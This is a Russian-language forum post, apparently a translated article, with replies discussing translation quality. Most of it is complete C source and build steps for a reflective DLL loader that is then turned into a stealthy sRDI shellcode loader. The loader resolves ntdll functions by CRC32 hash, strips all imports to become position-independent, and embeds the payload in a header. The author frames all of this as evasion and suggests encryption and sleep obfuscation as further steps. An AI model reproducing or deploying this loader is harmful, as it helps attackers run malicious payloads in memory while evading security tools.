typedef NTSTATUS (__stdcall *NtCreateFile_t)(PHANDLE FileHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,PIO_STATUS_BLOCK IoStatusBlock,PLARGE_INTEGER AllocationSize,ULONG FileAttributes,ULONG ShareAccess,ULONG CreateDisposition,ULONG CreateOptions,PVOID EaBuffer,ULONG EaLength);
typedef NTSTATUS (__stdcall *NtAllocateVirtualMemory_t)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS (__stdcall *NtProtectVirtualMemory_t)(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, DWORD NewProtect, PULONG OldProtect);
typedef NTSTATUS (__stdcall *NtFreeVirtualMemory_t)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType);
typedef NTSTATUS (__stdcall *NtReadVirtualMemory_t)(HANDLE ProcessHandle,PVOID BaseAddress,PVOID Buffer,SIZE_T BufferSize,PSIZE_T NumberOfBytesRead);
typedef NTSTATUS (__stdcall *NtFlushInstructionCache_t)(HANDLE ProcessHandle, PVOID BaseAddress, SIZE_T Length);
typedef NTSTATUS (__stdcall *NtQueryInformationFile_t)(HANDLE FileHandle,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG Length,FILE_INFORMATION_CLASS FileInformationClass);

peb.h

Код:
#include <stdint.h>
#include "defs.h"

#define SEED 0xDEADDEAD
#define HASH(API)(crc32b((uint8_t *)API))

#define RtlInitUnicodeString_CRC32b         0xe17f353f
#define RtlMultiByteToUnicodeN_CRC32b       0xaba11095
#define LdrLoadDll_CRC32b                   0x43638559
#define LdrGetProcedureAddress_CRC32b       0x3b93e684
#define NtCreateFile_CRC32b                 0x962c4683
#define NtReadFile_CRC32b                   0xab569438
#define NtClose_CRC32b                      0xf78fd98f
#define NtAllocateVirtualMemory_CRC32b      0xec50426f
#define NtReadVirtualMemory_CRC32b          0x58bdb7be
#define NtFreeVirtualMemory_CRC32b          0xf29625d3
#define NtProtectVirtualMemory_CRC32b       0x357d60b3
#define NtFlushInstructionCache_CRC32b      0xc5f7ca5e
#define NtQueryInformationFile_CRC32b       0xb54956cb

extern void *get_ntdll();

uint32_t crc32b(const uint8_t *str);

void *get_proc_address_by_hash(void *dll_address, uint32_t function_hash);

main.c

Код:
#include <stdio.h>
#include "peb.h"

int main() {

    NTSTATUS status;
    UNICODE_STRING dll_file;
    WCHAR w_file_path[100] = L"\\??\\\\C:\\Temp\\dll_poc.dll";
    void *p_ntdll = get_ntdll();
    void *p_rtl_init_unicode_string = get_proc_address_by_hash(p_ntdll, RtlInitUnicodeString_CRC32b);
    RtlInitUnicodeString_t g_rtl_init_unicode_string = (RtlInitUnicodeString_t) p_rtl_init_unicode_string;
    g_rtl_init_unicode_string(&dll_file, w_file_path);

    OBJECT_ATTRIBUTES obj_attrs;
    IO_STATUS_BLOCK io_status_block;
    InitializeObjectAttributes(&obj_attrs, &dll_file, OBJ_CASE_INSENSITIVE, NULL, NULL);

    HANDLE h_file = NULL;
    void *p_nt_create_file = get_proc_address_by_hash(p_ntdll, NtCreateFile_CRC32b);
    NtCreateFile_t g_nt_create_file = (NtCreateFile_t) p_nt_create_file;
    if((status = g_nt_create_file(&h_file, SYNCHRONIZE | GENERIC_READ, &obj_attrs, &io_status_block, 0, 0x0000080, 0x0000007, FILE_OPEN_IF, 0x0000020, 0x0000000, 0)) != 0x0)
        return -1;

    FILE_STANDARD_INFORMATION file_standard_info;
    void *p_nt_query_information_file = get_proc_address_by_hash(p_ntdll, NtQueryInformationFile_CRC32b);
    NtQueryInformationFile_t g_nt_query_information_file = (NtQueryInformationFile_t) p_nt_query_information_file;
    if((status = g_nt_query_information_file(h_file, &io_status_block, &file_standard_info, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation)) != 0x0)
        return -2;

    unsigned long long int dll_size = file_standard_info.EndOfFile.QuadPart;
    void *dll_bytes = NULL;
    void *p_nt_allocate_virtual_memory = get_proc_address_by_hash(p_ntdll, NtAllocateVirtualMemory_CRC32b);
    NtAllocateVirtualMemory_t g_nt_allocate_virtual_memory = (NtAllocateVirtualMemory_t) p_nt_allocate_virtual_memory;
    if((status = g_nt_allocate_virtual_memory(((HANDLE) -1), &dll_bytes, 0, &dll_size, MEM_COMMIT, PAGE_READWRITE)) != 0x0)
        return -3;

    void *p_nt_read_file = get_proc_address_by_hash(p_ntdll, NtReadFile_CRC32b);
    NtReadFile_t g_nt_read_file = (NtReadFile_t)p_nt_read_file;
    if((status = g_nt_read_file(h_file, NULL, NULL, NULL, &io_status_block, dll_bytes, dll_size, 0, NULL)) != 0x0)
        return -4;

    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)dll_bytes;
    PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((unsigned long long int)dll_bytes + dos_header->e_lfanew);
    SIZE_T dll_image_size = nt_headers->OptionalHeader.SizeOfImage;

    void *dll_base = NULL;
    if((status = g_nt_allocate_virtual_memory(NtCurrentProcess(), &dll_base, 0, &dll_image_size, MEM_COMMIT, PAGE_READWRITE)) != 0x0)
        return -4;

    unsigned long long int delta_image_base = (unsigned long long int)dll_base - (unsigned long long int)nt_headers->OptionalHeader.ImageBase;
    memcpy(dll_base, dll_bytes, nt_headers->OptionalHeader.SizeOfHeaders);

    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt_headers);
    for(size_t i = 0; i < nt_headers->FileHeader.NumberOfSections; i++) {
        void *section_destination = (LPVOID)((unsigned long long int)dll_base + (unsigned long long int)section->VirtualAddress);
        void *section_bytes = (LPVOID)((unsigned long long int)dll_bytes + (unsigned long long int)section->PointerToRawData);
        memcpy(section_destination, section_bytes, section->SizeOfRawData);
        section++;
    }

    IMAGE_DATA_DIRECTORY relocations = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    unsigned long long int relocation_table = relocations.VirtualAddress + (unsigned long long int)dll_base;
    unsigned long relocations_processed = 0;

    while(relocations_processed < relocations.Size) {
        PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed);
        relocations_processed += sizeof(BASE_RELOCATION_BLOCK);
        unsigned long relocations_count = (relocation_block->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
        PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed);

        for(unsigned long i = 0; i < relocations_count; i++) {
            relocations_processed += sizeof(BASE_RELOCATION_ENTRY);
            if(relocation_entries[i].Type == 0)
                continue;

            unsigned long long int relocation_rva = relocation_block->PageAddress + relocation_entries[i].Offset;
            unsigned long long int address_to_patch = 0;
            void *p_nt_read_virtual_memory = get_proc_address_by_hash(p_ntdll, NtReadVirtualMemory_CRC32b);
            NtReadVirtualMemory_t g_nt_read_virtual_memory = (NtReadVirtualMemory_t) p_nt_read_virtual_memory;
            if((status = g_nt_read_virtual_memory(NtCurrentProcess(), (void *)((unsigned long long int)dll_base + relocation_rva), &address_to_patch, sizeof(unsigned long long int), NULL)) != 0x0)
                return -5;

            address_to_patch += delta_image_base;
            memcpy((void *)((unsigned long long int)dll_base + relocation_rva), &address_to_patch, sizeof(unsigned long long int));
        }
    }

    PIMAGE_IMPORT_DESCRIPTOR import_descriptor;
    IMAGE_DATA_DIRECTORY images_directory = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    UNICODE_STRING import_library_name;

    import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(images_directory.VirtualAddress + (unsigned long long int)dll_base);
    void *current_library = NULL;

    while(import_descriptor->Name != 0) {
        void *p_ldr_load_dll = get_proc_address_by_hash(p_ntdll, LdrLoadDll_CRC32b);
        char *module_name = (char *)dll_base + import_descriptor->Name;
        wchar_t w_module_name[MAX_PATH];
        unsigned long num_converted;

        void *p_rtl_multi_byte_to_unicode_n = get_proc_address_by_hash(p_ntdll, RtlMultiByteToUnicodeN_CRC32b);
        RtlMultiByteToUnicodeN_t g_rtl_multi_byte_to_unicode_n = (RtlMultiByteToUnicodeN_t) p_rtl_multi_byte_to_unicode_n;
        if((status = g_rtl_multi_byte_to_unicode_n(w_module_name, sizeof(w_module_name), &num_converted, module_name, strlen(module_name) +1)) != 0x0)
            return -5;

        g_rtl_init_unicode_string(&import_library_name, w_module_name);
        LdrLoadDll_t g_ldr_load_dll = (LdrLoadDll_t) p_ldr_load_dll;
        if((status = g_ldr_load_dll(NULL, NULL, &import_library_name, &current_library)) != 0x0)
            return -6;

        if (current_library){
            ANSI_STRING a_string;
            PIMAGE_THUNK_DATA thunk = NULL;
            PIMAGE_THUNK_DATA original_thunk = NULL;
            thunk = (PIMAGE_THUNK_DATA)((unsigned long long int)dll_base + import_descriptor->FirstThunk);
            original_thunk = (PIMAGE_THUNK_DATA)((unsigned long long int)dll_base + import_descriptor->OriginalFirstThunk);
            while (thunk->u1.AddressOfData != 0){
                void *p_ldr_get_procedure_address = get_proc_address_by_hash(p_ntdll, LdrGetProcedureAddress_CRC32b);
                LdrGetProcedureAddress_t g_ldr_get_procedure_address = (LdrGetProcedureAddress_t) p_ldr_get_procedure_address;
                if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) {
                    g_ldr_get_procedure_address(current_library, NULL, (WORD) original_thunk->u1.Ordinal, (PVOID *) &(thunk->u1.Function));
                } else {
                    PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((unsigned long long int)dll_base + thunk->u1.AddressOfData);
                    FILL_STRING(a_string, functionName->Name);
                    g_ldr_get_procedure_address(current_library, &a_string, 0, (PVOID *) &(thunk->u1.Function));
                }
                ++thunk;
                ++original_thunk;
            }
        }
        import_descriptor++;
    }

    PIMAGE_SECTION_HEADER section_header = IMAGE_FIRST_SECTION(nt_headers);
    for (int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++, section_header++) {
        if (section_header->SizeOfRawData) {
            unsigned long executable = (section_header->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
            unsigned long readable = (section_header->Characteristics & IMAGE_SCN_MEM_READ) != 0;
            unsigned long writeable = (section_header->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
            unsigned long protect = 0;

            if (!executable && !readable && !writeable)
                protect = PAGE_NOACCESS;
            else if (!executable && !readable && writeable)
                protect = PAGE_WRITECOPY;
            else if (!executable && readable && !writeable)
                protect = PAGE_READONLY;
            else if (!executable && readable && writeable)
                protect = PAGE_READWRITE;
            else if (executable && !readable && !writeable)
                protect = PAGE_EXECUTE;
            else if (executable && !readable && writeable)
                protect = PAGE_EXECUTE_WRITECOPY;
            else if (executable && readable && !writeable)
                protect = PAGE_EXECUTE_READ;
            else if (executable && readable && writeable)
                protect = PAGE_EXECUTE_READWRITE;

            if (section_header->Characteristics & IMAGE_SCN_MEM_NOT_CACHED)
                protect |= PAGE_NOCACHE;

            void *p_nt_protect_virtual_memory = get_proc_address_by_hash(p_ntdll, NtProtectVirtualMemory_CRC32b);
            NtProtectVirtualMemory_t g_nt_protect_virtual_memory = (NtProtectVirtualMemory_t) p_nt_protect_virtual_memory;
            size_t size = section_header->SizeOfRawData;
            void *address = dll_base + section_header->VirtualAddress;
            if((status = g_nt_protect_virtual_memory(NtCurrentProcess(), &address, &size, protect, &protect)) != 0x0)
                return -7;
        }
    }

    void *p_nt_flush_instruction_cache = get_proc_address_by_hash(p_ntdll, NtFlushInstructionCache_CRC32b);
    NtFlushInstructionCache_t g_nt_flush_instruction_cache = (NtFlushInstructionCache_t) p_nt_flush_instruction_cache;
    g_nt_flush_instruction_cache((HANDLE) -1, NULL, 0);

    PIMAGE_TLS_CALLBACK *callback;
    PIMAGE_DATA_DIRECTORY tls_entry = &nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
    if(tls_entry->Size) {
        PIMAGE_TLS_DIRECTORY tls_dir = (PIMAGE_TLS_DIRECTORY)((unsigned long long int)dll_base + tls_entry->VirtualAddress);
        callback = (PIMAGE_TLS_CALLBACK *)(tls_dir->AddressOfCallBacks);
        for(; *callback; callback++)
            (*callback)((LPVOID)dll_base, DLL_PROCESS_ATTACH, NULL);
    }

    DLLEntry DllEntry = (DLLEntry)((unsigned long long int)dll_base + nt_headers->OptionalHeader.AddressOfEntryPoint);
    (*DllEntry)((HINSTANCE)dll_base, DLL_PROCESS_ATTACH, 0);

    void *p_nt_close = get_proc_address_by_hash(p_ntdll, NtClose_CRC32b);
    NtClose_t g_nt_close = (NtClose_t) p_nt_close;
    g_nt_close(h_file);

    void *p_nt_free_virtual_memory = get_proc_address_by_hash(p_ntdll, NtFreeVirtualMemory_CRC32b);
    NtFreeVirtualMemory_t g_nt_free_virtual_memory = (NtFreeVirtualMemory_t)p_nt_free_virtual_memory;
    g_nt_free_virtual_memory(((HANDLE) -1), &dll_bytes, &dll_size, MEM_RELEASE);

    return 0;
}

CMakeLists.txt

Код:
cmake_minimum_required(VERSION 3.24)
project(dll_loader C)

set(CMAKE_C_STANDARD 17)
set(MASM_NAMES src/masm/peb)

include_directories(${CMAKE_SOURCE_DIR}/src/h)

FOREACH(src ${MASM_NAMES})
    SET(MASM_SRC ${CMAKE_CURRENT_SOURCE_DIR}/${src}.masm)
    SET(MASM_OBJ ${CMAKE_CURRENT_BINARY_DIR}/${src}.obj)
    ADD_CUSTOM_COMMAND(
            OUTPUT ${MASM_OBJ}
            COMMAND C:/Temp/ml64.exe /c /Fo${MASM_OBJ} ${MASM_SRC}
            DEPENDS ${MASM_SRC}
            COMMENT "Assembling ${MASM_SRC}")
    SET(MASM_OBJECTS ${MASM_OBJECTS} ${MASM_OBJ})
ENDFOREACH(src)

add_executable(dll_loader ${MASM_OBJECTS} main.c src/c/peb.c)

После того, как вы переписали весь приведенный выше код, вы сможете собрать и выполнить его, чтобы получить окно сообщения для проверки его работы.

image-15.png


Теперь, когда мы знаем, что логика работает, давайте более подробно рассмотрим двоичный файл, начав сначала с Process Hacker, как показано ниже.

image-16.png


Как вы можете заметить, области памяти RWX больше нет, и это именно то, чего мы хотели добиться, обновив каждый раздел до правильных разрешений, как показано на шаге 6 выше.
Теперь давайте откроем бинарный файл с помощью CFF Explorer , чтобы проверить таблицу импорта.

image-17.png


Хотя таблица импорта кажется улучшенной, она еще не достигла желаемого уровня. Прежде чем приступить к написанию нашего sRDI, мы должны убедиться, что загрузчик полностью независим от позиции.
Для этого мы можем полностью удалить зависимость msvcrt.dll, изменив файл CMakeLists.txt включить следующие строки.

Код:
target_link_options(dll_loader PRIVATE -static -nostdlib)
set_target_properties(dll_loader PROPERTIES LINK_FLAGS "-e start")

Вышеуказанные дополнения к CMakeLists.txtфайл удалит стандартную библиотеку C и изменит точку входа с main()к start(). Однако удаление зависимости msvcrt.dll потребует от нас написания собственного strlenи memcpy функции, чтобы заменить те, которые используются в нашем коде.
В main.c, мы собираемся добавить две функции замены для strlenи memcpy, как показано в следующем коде.

Код:
#include <stdio.h>
#include "peb.h"

void *mc(void* dest, const void* src, size_t n){
    char* d = (char*)dest;
    const char* s = (const char*)src;
    while (n--)
        *d++ = *s++;
    return dest;
}

size_t sl(const char* str) {
    size_t len = 0;
    while (*str++)
        len++;
    return len;
}

int start() {

    NTSTATUS status;
    UNICODE_STRING dll_file...



(Continued...)

Найдите и замените каждую memcpy функцией mc, а каждую strlen - функцией sl.
Сделав эти изменения, пересоберите и запустите двоичный файл, чтобы убедиться, что он работает. Убедившись, что вы получили сообщение, попробуйте снова открыть файл в CFF Explorer.

image-18.png



Бинго! Для запуска не требуется импорт, и по-прежнему появляется окно сообщения, показывающее, что DLL загружается с использованием полностью позиционно-независимого кода. Теперь, когда у нас есть полностью PIC RDI загрузчик, давайте посмотрим, как мы можем превратить его в sRDI загрузчик, чтобы нам не нужно было полагаться на дисковую/сетевую DLL для загрузки и мы могли загружать DLL прямо из заглушки.

Загрузчик
(Stealth sRDI)

Теперь, когда у нас есть полностью позиционно независимый RDI-загрузчик, мы можем поработать над изменением первых нескольких шагов в start(), чтобы добиться загрузки шеллкода из заглушки вместо открытия и чтения байтов из файла.
Первое, что нам нужно сделать, это превратить наш DLL-файл в шеллкод, и инструмент pe_to_shellcode, написанный Hasherezade, идеально подходит для этого PoC.
После превращения dll_poc.dll в шеллкод dll_poc.bin, вы можете использовать инструмент xxd для создания заголовочного файла для использования.

Код:
xxd -i dll_poc.bin > dll.h

Затем вы просто добавляете заголовочный файл dll.h в папку src/h/ вместе с остальными.

image-19.png


В заголовочный файл включены только две переменные, dll_bin и dll_bin_len, которые хранят байты dll и ее размер соответственно.
С нашим новым заголовочным файлом dll.h мы можем вернуться к start() и изменить Шаг 1, чтобы использовать шеллкод вместо DLL-файла на диске. Используя заголовочный файл dll.h, наш Шаг 1 превратится из 35 строк кода в пару, как показано ниже.

Замена шага 1

В этом шаге двоичное представление DLL-файла считывается из заголовочного файла...

Код:
NTSTATUS status;
void *dll_bytes = dll_bin;

Чтобы не печатать все остальные шаги, поскольку код практически идентичен, я собираюсь вывести новый main.c, показывающий, что мы удалили 33 строки кода из Шага 1 при использовании sRDI вместо RDI-инъекции. Есть также незначительные изменения, но они должны быть очевидны при взгляде на следующий код.

Код:
#include <stdio.h>
#include "peb.h"
#include "dll.h"

void *mc(void* dest, const void* src, size_t n){
    char* d = (char*)dest;
    const char* s = (const char*)src;
    while (n--)
        *d++ = *s++;
    return dest;
}

size_t sl(const char* str) {
    size_t len = 0;
    while (*str++)
        len++;
    return len;
}

int start() {
 
    NTSTATUS status;

    void *dll_bytes = dll_bin;
    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)dll_bytes;
    PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((unsigned long long int)dll_bytes + dos_header->e_lfanew);
    SIZE_T dll_image_size = nt_headers->OptionalHeader.SizeOfImage;

    void *dll_base = NULL;
    void *p_ntdll = get_ntdll();
    void *p_nt_allocate_virtual_memory = get_proc_address_by_hash(p_ntdll, NtAllocateVirtualMemory_CRC32b);
    NtAllocateVirtualMemory_t g_nt_allocate_virtual_memory = (NtAllocateVirtualMemory_t) p_nt_allocate_virtual_memory;
    if((status = g_nt_allocate_virtual_memory((HANDLE) -1, &dll_base, 0, &dll_image_size, MEM_COMMIT, PAGE_READWRITE)) != 0x0)
        return -4;
    unsigned long long int delta_image_base = (unsigned long long int)dll_base - (unsigned long long int)nt_headers->OptionalHeader.ImageBase;
    mc(dll_base, dll_bytes, nt_headers->OptionalHeader.SizeOfHeaders);

    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt_headers);
    for(size_t i = 0; i < nt_headers->FileHeader.NumberOfSections; i++) {
        void *section_destination = (LPVOID)((unsigned long long int)dll_base + (unsigned long long int)section->VirtualAddress);
        void *section_bytes = (LPVOID)((unsigned long long int)dll_bytes + (unsigned long long int)section->PointerToRawData);
        mc(section_destination, section_bytes, section->SizeOfRawData);
        section++;
    }

    IMAGE_DATA_DIRECTORY relocations = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    unsigned long long int relocation_table = relocations.VirtualAddress + (unsigned long long int)dll_base;
    unsigned long relocations_processed = 0;

    while(relocations_processed < relocations.Size) {
        PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed);
        relocations_processed += sizeof(BASE_RELOCATION_BLOCK);
        unsigned long relocations_count = (relocation_block->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
        PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed);

        for(unsigned long i = 0; i < relocations_count; i++) {
            relocations_processed += sizeof(BASE_RELOCATION_ENTRY);
            if(relocation_entries[i].Type == 0)
                continue;

            unsigned long long int relocation_rva = relocation_block->PageAddress + relocation_entries[i].Offset;
            unsigned long long int address_to_patch = 0;
            void *p_nt_read_virtual_memory = get_proc_address_by_hash(p_ntdll, NtReadVirtualMemory_CRC32b);
            NtReadVirtualMemory_t g_nt_read_virtual_memory = (NtReadVirtualMemory_t) p_nt_read_virtual_memory;
            if((status = g_nt_read_virtual_memory(NtCurrentProcess(), (void *)((unsigned long long int)dll_base + relocation_rva), &address_to_patch, sizeof(unsigned long long int), NULL)) != 0x0)
                return -5;

            address_to_patch += delta_image_base;
            mc((void *)((unsigned long long int)dll_base + relocation_rva), &address_to_patch, sizeof(unsigned long long int));
        }
    }

    PIMAGE_IMPORT_DESCRIPTOR import_descriptor;
    IMAGE_DATA_DIRECTORY images_directory = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    UNICODE_STRING import_library_name;

    import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(images_directory.VirtualAddress + (unsigned long long int)dll_base);
    void *current_library = NULL;

    while(import_descriptor->Name != 0) {
        void *p_ldr_load_dll = get_proc_address_by_hash(p_ntdll, LdrLoadDll_CRC32b);
        char *module_name = (char *)dll_base + import_descriptor->Name;
        wchar_t w_module_name[MAX_PATH];
        unsigned long num_converted;

        void *p_rtl_multi_byte_to_unicode_n = get_proc_address_by_hash(p_ntdll, RtlMultiByteToUnicodeN_CRC32b);
        RtlMultiByteToUnicodeN_t g_rtl_multi_byte_to_unicode_n = (RtlMultiByteToUnicodeN_t) p_rtl_multi_byte_to_unicode_n;
        if((status = g_rtl_multi_byte_to_unicode_n(w_module_name, sizeof(w_module_name), &num_converted, module_name, sl(module_name) +1)) != 0x0)
            return -5;

        void *p_rtl_init_unicode_string = get_proc_address_by_hash(p_ntdll, RtlInitUnicodeString_CRC32b);
        RtlInitUnicodeString_t g_rtl_init_unicode_string = (RtlInitUnicodeString_t) p_rtl_init_unicode_string;
        g_rtl_init_unicode_string(&import_library_name, w_module_name);
        LdrLoadDll_t g_ldr_load_dll = (LdrLoadDll_t) p_ldr_load_dll;
        if((status = g_ldr_load_dll(NULL, NULL, &import_library_name, &current_library)) != 0x0)
            return -6;

        if (current_library){
            ANSI_STRING a_string;
            PIMAGE_THUNK_DATA thunk = NULL;
            PIMAGE_THUNK_DATA original_thunk = NULL;
            thunk = (PIMAGE_THUNK_DATA)((unsigned long long int)dll_base + import_descriptor->FirstThunk);
            original_thunk = (PIMAGE_THUNK_DATA)((unsigned long long int)dll_base + import_descriptor->OriginalFirstThunk);
            while (thunk->u1.AddressOfData != 0){
                void *p_ldr_get_procedure_address = get_proc_address_by_hash(p_ntdll, LdrGetProcedureAddress_CRC32b);
                LdrGetProcedureAddress_t g_ldr_get_procedure_address = (LdrGetProcedureAddress_t) p_ldr_get_procedure_address;
                if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) {
                    g_ldr_get_procedure_address(current_library, NULL, (WORD) original_thunk->u1.Ordinal, (PVOID *) &(thunk->u1.Function));
                } else {
                    PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((unsigned long long int)dll_base + thunk->u1.AddressOfData);
                    FILL_STRING(a_string, functionName->Name);
                    g_ldr_get_procedure_address(current_library, &a_string, 0, (PVOID *) &(thunk->u1.Function));
                }
                ++thunk;
                ++original_thunk;
            }
        }
        import_descriptor++;
    }

    PIMAGE_SECTION_HEADER section_header = IMAGE_FIRST_SECTION(nt_headers);
    for (int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++, section_header++) {
        if (section_header->SizeOfRawData) {
            unsigned long executable = (section_header->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
            unsigned long readable = (section_header->Characteristics & IMAGE_SCN_MEM_READ) != 0;
            unsigned long writeable = (section_header->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
            unsigned long protect = 0;

            if (!executable && !readable && !writeable)
                protect = PAGE_NOACCESS;
            else if (!executable && !readable && writeable)
                protect = PAGE_WRITECOPY;
            else if (!executable && readable && !writeable)
                protect = PAGE_READONLY;
            else if (!executable && readable && writeable)
                protect = PAGE_READWRITE;
            else if (executable && !readable && !writeable)
                protect = PAGE_EXECUTE;
            else if (executable && !readable && writeable)
                protect = PAGE_EXECUTE_WRITECOPY;
            else if (executable && readable && !writeable)
                protect = PAGE_EXECUTE_READ;
            else if (executable && readable && writeable)
                protect = PAGE_EXECUTE_READWRITE;

            if (section_header->Characteristics & IMAGE_SCN_MEM_NOT_CACHED)
                protect |= PAGE_NOCACHE;

            void *p_nt_protect_virtual_memory = get_proc_address_by_hash(p_ntdll, NtProtectVirtualMemory_CRC32b);
            NtProtectVirtualMemory_t g_nt_protect_virtual_memory = (NtProtectVirtualMemory_t) p_nt_protect_virtual_memory;
            size_t size = section_header->SizeOfRawData;
            void *address = dll_base + section_header->VirtualAddress;
            if((status = g_nt_protect_virtual_memory(NtCurrentProcess(), &address, &size, protect, &protect)) != 0x0)
                return -7;
        }
    }

    void *p_nt_flush_instruction_cache = get_proc_address_by_hash(p_ntdll, NtFlushInstructionCache_CRC32b);
    NtFlushInstructionCache_t g_nt_flush_instruction_cache = (NtFlushInstructionCache_t) p_nt_flush_instruction_cache;
    g_nt_flush_instruction_cache((HANDLE) -1, NULL, 0);

    PIMAGE_TLS_CALLBACK *callback;
    PIMAGE_DATA_DIRECTORY tls_entry = &nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
    if(tls_entry->Size) {
        PIMAGE_TLS_DIRECTORY tls_dir = (PIMAGE_TLS_DIRECTORY)((unsigned long long int)dll_base + tls_entry->VirtualAddress);
        callback = (PIMAGE_TLS_CALLBACK *)(tls_dir->AddressOfCallBacks);
        for(; *callback; callback++)
            (*callback)((LPVOID)dll_base, DLL_PROCESS_ATTACH, NULL);
    }

    DLLEntry DllEntry = (DLLEntry)((unsigned long long int)dll_base + nt_headers->OptionalHeader.AddressOfEntryPoint);
    (*DllEntry)((HINSTANCE)dll_base, DLL_PROCESS_ATTACH, 0);

    void *p_nt_free_virtual_memory = get_proc_address_by_hash(p_ntdll, NtFreeVirtualMemory_CRC32b);
    NtFreeVirtualMemory_t g_nt_free_virtual_memory = (NtFreeVirtualMemory_t)p_nt_free_virtual_memory;
    g_nt_free_virtual_memory(((HANDLE) -1), &dll_bytes, &dll_image_size, MEM_RELEASE);

    return 0;
}

Затем, когда мы пересоздадим и выполним загрузчик, мы увидим, что наш sRDI смог загрузить DLL из заголовочного файла, а не извлекать DLL с диска или по сети.

image-20.png


На этом я закончил показывать вам примеры кода. Однако этот код все еще имеет множество оптимизаций, которые можно было бы сделать более скрытным и уклончивым, например, зашифровать байты DLL в заголовочном файле и расшифровать перед выполнением... или добавить обфускацию сна в саму DLL, и т.д....
Надеюсь, эта статья даст вам достойное понимание того, как можно превратить стандартный Windows API в нативный код, как использовать обфускацию функций, хэширование имен функций и как рефлективно загружать DLL в память.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Отличная статья! Однозначный плюс в репу
 
Почему бы не переводить то в чем разбираешся? Потому что когда переводишь то чего не понимаешь то получается что - size of image это размер изображения, в контексте темы это переводится как - размер проецируемого в память образа модуля. Причесать автоперевод что бы было покрасивее это конечно хорошо и важно но без понимания вопроса выходит так себе продукт.
А вот это например как понять
Затем секции повторяются и копируются во вновь выделенную память с помощью PIMAGE_SECTION_HEADERсостав.
Если вы сами не поняли смысла предложения, это в принципе непонимаемо то зачем его в статью пихать, типа читатель умнее он поймет.

Возьмите себе тематику статай где вам все понятно, будет больше пользы и вам и форуму. Могу понять что нужны хоть какие какие то деньги, но чел это халтура уж совсем горбатая.
а я перевожу потому что учусь, мне интересно пополнять свой запас английских слов, и, знаешь, он реально изменился. Видишь где ошибки в тонкостях перевода? - дак напиши, я исправлю, мне не западло. Не у всех есть возможность учиться в вузах и получить достойное образование, кто-то компьютер увидел "вчера" и у него "глаза горят", как хочется понять что там внутри и как оно работает. Про какие ты там деньги говоришь, я это делаю для себя. Да админ мне помог на ссд, ноду поднял, "потрогал" как это работает, теперь понятно, когда-то у меня были строки в заголовке, и огромное ему за это спасибо и теперь я понимаю что это не загнивающая какая-то помойка, а тут действительно Люди... пусть их не так много, но они точно есть. Могу оставить это дело,я нашёл направление в котором пойду дальше, но мне по-кайфу , а могу исправить ошибки, сам научиться чему то новому и все почитают кому интересно. А ты если шаришь и видишь мои ошибки, дак черкани, раз всё равно уже прочитал и в карму себе ещё плюсик словишь.
 
а я перевожу потому что учусь, мне интересно пополнять свой запас английских слов, и, знаешь, он реально изменился. Видишь где ошибки в тонкостях перевода? - дак напиши, я исправлю, мне не западло. Не у всех есть возможность учиться в вузах и получить достойное образование, кто-то компьютер увидел "вчера" и у него "глаза горят", как хочется понять что там внутри и как оно работает. Про какие ты там деньги говоришь, я это делаю для себя. Да админ мне помог на ссд, ноду поднял, "потрогал" как это работает, теперь понятно, когда-то у меня были строки в заголовке, и огромное ему за это спасибо и теперь я понимаю что это не загнивающая какая-то помойка, а тут действительно Люди... пусть их не так много, но они точно есть. Могу оставить это дело,я нашёл направление в котором пойду дальше, но мне по-кайфу , а могу исправить ошибки, сам научиться чему то новому и все почитают кому интересно. А ты если шаришь и видишь мои ошибки, дак черкани, раз всё равно уже прочитал и в карму себе ещё плюсик словишь.
